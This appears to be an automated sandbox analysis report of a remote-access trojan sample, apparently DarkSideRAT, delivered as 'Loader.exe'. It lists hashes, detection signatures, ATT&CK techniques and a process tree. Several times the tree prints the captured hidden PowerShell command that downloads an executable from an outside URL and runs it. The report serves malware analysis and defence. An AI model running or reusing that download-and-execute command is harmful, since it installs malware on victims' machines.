darksiderat | 57fbce488bd29ac5d1dcf2bc0cb77758c737e8dfa25c0309972919bdcf8920b1

Analysis

user interaction
yes
max time kernel
1s
max time network
12s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 16:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 6.1MB
Sample260905-t2nrjaybnd
SHA256 57fbce488bd29ac5d1dcf2bc0cb77758c737e8dfa25c0309972919bdcf8920b1
MD5 577ab03dfa118f5dfbca85f2bf730144
SHA1 b6a6baba01ff0ea0f652b9c27a272d672b712756
SHA512 868315f5435f8a09ffe4b19a877b2bc2a4544a13c59d22c662e58cd669b8f0b481c525d2a8a48656d01b0af40409a345cce73b1581137b0e294d8c844de2eba4
SSDEEP 98304:DwVk3IUX+EjLnZo/Y7mgTm05AwJHE6hD243WwYlZqL9P0FRwF:qk3VXhDmg7PAmkg2z/ZqL107wF
TLSH
T1C056BF42B39181E9C266D138CE82E767D3327C090F3156E736EC7A1A6F726D04E7AB51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c526-21.dat	family_darksiderat

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3776	powershell.exe
1928	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1924	Loader.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3304	cmd.exe
4112	cmd.exe
6004	cmd.exe
4188	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1924	Loader.exe
1924	Loader.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 3304	1924	Loader.exe	90
PID 3304 wrote to memory of 4112	3304	cmd.exe	91
PID 1924 wrote to memory of 6004	1924	Loader.exe	92
PID 6004 wrote to memory of 4188	6004	cmd.exe	94
PID 4112 wrote to memory of 3776	4112	cmd.exe	96
PID 4188 wrote to memory of 1928	4188	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3776
    - - C:\Users\Admin\AppData\Local\Temp\BK330934.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK330934.exe"
        5⤵
        
        PID:5732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6004
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1928
    - - C:\Users\Admin\AppData\Local\Temp\BK330934.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK330934.exe"
        5⤵
        
        PID:3328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
MD5 f1917b1b23b33e605ce112b38870e0e2
SHA1 b659300a2f39c4c1c6958469e6a0ffd057986fe5
SHA512 622b483cda982fd7500c70ab15bb17597ede8f61013781d574bf6e2d036ad6acda1697813d03e3615964f99b5a9d3e06e9948a221526b5a1af0af758ab7dfe89
TLSH
T198215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

BK330934.exe

Path C:\Users\Admin\AppData\Local\Temp\BK330934.exe
Size 56KB
SHA256 c5479d3935762ad5280b2fa5f0fd7bb6395eaeea74fb79d2bfc695770b8d374c
MD5 3c0f2e862d3799f086b241052fa3d80f
SHA1 2d108a671f306aac61b56356b0170a7db59554ec
SHA512 25dfc86cb2e79235a046dfd1c4212e58126b9e7188140616be1d1de2bb77606019e5c8fc2450b713b013ffdf501683398a794e9afbcac36bf5b7c7d8857c2d6c
SSDEEP 768:0bC1NA10jzCHGMWQ8+9AxkUjFzaOWp54vg5d5YP98yxA1XbXxFkW7rCVr8Z0kP:Yr0jzE6bWp0g5rBSmNGW7rCVoekP
TLSH
T13743F935E95EB06FE35DC870ED030D16CD127CCA97A0BB9B57914DE20EAAE609B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1928-31-0x000002BA4DC90000-0x000002BA4DCBD000-memory.dmp

Download

memory/3776-12-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-14-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-9-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-10-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-11-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-0-0x00007FF80C6BF000-0x00007FF80C6C0000-memory.dmp

Download

memory/3776-13-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-6-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-15-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-16-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-2-0x000002ADFE6F0000-0x000002ADFE712000-memory.dmp

Download

memory/3776-26-0x000002ADFEAC0000-0x000002ADFEAED000-memory.dmp

Download

memory/3776-27-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-3-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download

memory/3776-1-0x00007FF80C530000-0x00007FF80CED4000-memory.dmp

Download